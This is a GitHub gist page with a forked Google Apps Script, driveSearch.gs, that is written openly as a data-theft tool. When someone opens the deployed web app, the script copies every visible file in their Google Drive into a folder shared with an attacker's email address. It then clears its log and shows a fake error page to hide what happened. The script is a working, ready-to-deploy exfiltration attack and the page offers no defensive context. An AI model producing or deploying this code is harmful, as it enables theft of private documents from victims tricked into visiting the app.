Skip to content

Instantly share code, notes, and snippets.

@srand2
Forked from ahhh/driveSearch.gs
Created May 29, 2023 11:38
Show Gist options
  • Select an option

  • Save srand2/d3f33bb8646a63f0a070da1ebecbc246 to your computer and use it in GitHub Desktop.

Select an option

Save srand2/d3f33bb8646a63f0a070da1ebecbc246 to your computer and use it in GitHub Desktop.

Revisions

  1. @ahhh ahhh revised this gist May 25, 2023. No changes.
  2. @ahhh ahhh created this gist May 24, 2023.
    26 changes: 26 additions & 0 deletions driveSearch.gs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,26 @@
    function driveSearch() {
    // Setup the exfil folder
    var user = Session.getActiveUser().getEmail();
    var folder = DriveApp.createFolder(user);
    var attackerEmail = "[email protected]";
    folder.addViewer(attackerEmail);

    // Search Drive
    var files = DriveApp.searchFiles('hidden = false');
    // Iterate through files in Drive
    while (files.hasNext()) {
    var file = files.next();
    var name = file.getName();
    Logger.log(name);
    // Exfiltrate each file
    //file.addViewer(attackerEmail);
    file.makeCopy(name, folder);
    }
    Logger.clear();
    }

    function doGet(e) {
    var params = JSON.stringify(e);
    driveSearch();
    return HtmlService.createHtmlOutput('An error has occured');
    }